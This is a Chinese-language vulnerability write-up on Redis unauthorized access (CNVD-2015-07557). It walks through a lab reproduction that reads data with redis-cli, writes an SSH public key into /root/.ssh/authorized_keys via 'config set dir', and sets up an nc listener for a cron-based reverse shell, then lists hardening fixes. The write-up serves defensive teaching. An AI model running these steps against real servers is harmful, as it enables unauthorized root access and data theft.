漏洞信息
漏洞简介
- 漏洞名称:Redis未授权访问漏洞
- 漏洞编号:CNVD-2015-07557
- 漏洞类型:未授权访问
- CVSS评分:【CVSS v2.0:】【CVSS v3.0:】
- 漏洞危害等级:高危
组件概述
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。
漏洞概述
Redis存在非授权访问漏洞,Redis服务默认对外开放6379端口,任意匿名用户可以连接登录。
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
漏洞利用条件
1、Redis配置了空密码或者弱密码
2、Redis配置文件中bind绑定0.0.0.0 127.0.0.1或者被注释
3、Redis解除保护模式,可以在配置文件将protected-mode,设置为no
1 | protected-mode no |
或者,启动redis-server后,在redis-cli中输入命令,临时关闭保护模式
1 | CONFIG SET protected-mode no |
漏洞复现
应用协议
6379/RESP
漏洞复现
Redis未授权访问获取敏感信息
redis在开放往外网的情况下,默认配置下是空口令,端口为6379,连接后可以获取Redis敏感数据。
kali攻击机输入以下命令,获取靶机的敏感信息:
1 | redis-cli -h 10.251.0.36 |
写入ssh公钥,获取操作系统权限
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,可以在服务器端的/root/.ssh下生一个授权的key。
- 首先在攻击机上生成key:
1 | ssh-keygen -t rsa |
生成的公钥key
- 将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:
1 | (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt |
1 | cat /root/.ssh/key.txt | ./redis-cli -h 192.168.10.153 -x set xxx |
- 连接目标主机的Redis,设置redis的公钥key备份路径为/root/.ssh和保存文件名authorized_keys,将key.txt数据保存在服务器上:
1 | config set dir /root/.ssh |
- 用攻击机ssh远程连接靶机,不用密码就可以直接远程登录ssh:
1 | ssh 10.251.0.35 |
- 可以在靶机,进入/root/.ssh目录,看一下authorized_keys的文件内容
1 | cat /root/.ssh/authorized_keys |
利用计划任务执行命令反弹shell
先在攻击机上监听一个端口
1 | nc -nvlp 666 |
1 | root@kali:~# redis-cli -h 10.251.0.36 |
靶机的/var/spool/cron路径下,有root文件
多次尝试后,等一段时间,反弹shell成功:
技术背景
Redis是轻量级的,非易失性键值数据存储。 它通过Redis序列化协议(RESP)提供对简单易变数据结构的访问,该协议是基于TCP的协议。 与大多数其他数据库一样,Redis遵循客户端—服务器模型。 客户端能够通过Redis命令在Redis服务器上创建,修改和检索记录。
例如,以下命令创建“ TEST”字符串记录并将其分配给“ 1234”键值,将此记录修改为“ TEST2”并分别检索记录:
1 | SET 1234 TEST |
有关Redis命令的完整列表,请参考 http://redis.io/commands
Redis客户端通过端口6379通过TCP使用Redis序列化协议(RESP)与服务器进行通信。可通过 http://redis.io/topics/protocol获得该协议详细说明。 RESP使用五种数据类型,这些数据类型由相应数据的第一个字节标识:
简单字符串以“ +”字符开头
错误以“-”字符开头
整数以“:”字符开头
批量字符串以“ $”字符开头
数组以“ *”字符开头
批量字符串以“ $”字符开头,后跟相应字符串的长度。 以下重点介绍如何将“ Sangfor”表示为大容量字符串:
1 | $7 CRLF |
其中CRLF表示新的行序列回车(CR),后跟换行(LF)。
RESP数组以“ *”字符开头,后跟数组中的元素数。 下面说明了一个由2个元素组成的大容量字符串数组:
1 | *2 CRLF |
所有Redis命令都通过RESP字符串数组发送到服务器。 例如,上述SET命令将以下形式发送:
1 | *3 CRLF |
漏洞利用过程
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
漏洞修复
1.禁止一些高危命令(重启redis才能生效)
- 修改 redis.conf 文件,禁用远程修改 DB 文件地址
1 | rename-command FLUSHALL "" |
- 或者通过修改redis.conf文件,改变这些高危命令的名称
1 | rename-command FLUSHALL "name1" |
2. 以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
1 | groupadd -r redis && useradd -r -g redis redis |
3. 为 Redis 添加密码验证(重启redis才能生效)
修改 redis.conf 文件,添加
1 | requirepass mypassword |
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
4. 禁止外网访问 Redis(重启redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
1 | bind 127.0.0.1 |
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错
5. 修改默认端口
修改配置文件redis.conf文件
1 | Port 6379 |
默认端口是6379,可以改变成其他端口(不要冲突就好)
6. 保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
- 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
1 | chmod 400 ~/.ssh/authorized_keys |
- 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
1 | chattr +i ~/.ssh/authorized_keys |
- 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
1 | chattr +i ~/.ssh |
7. 设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。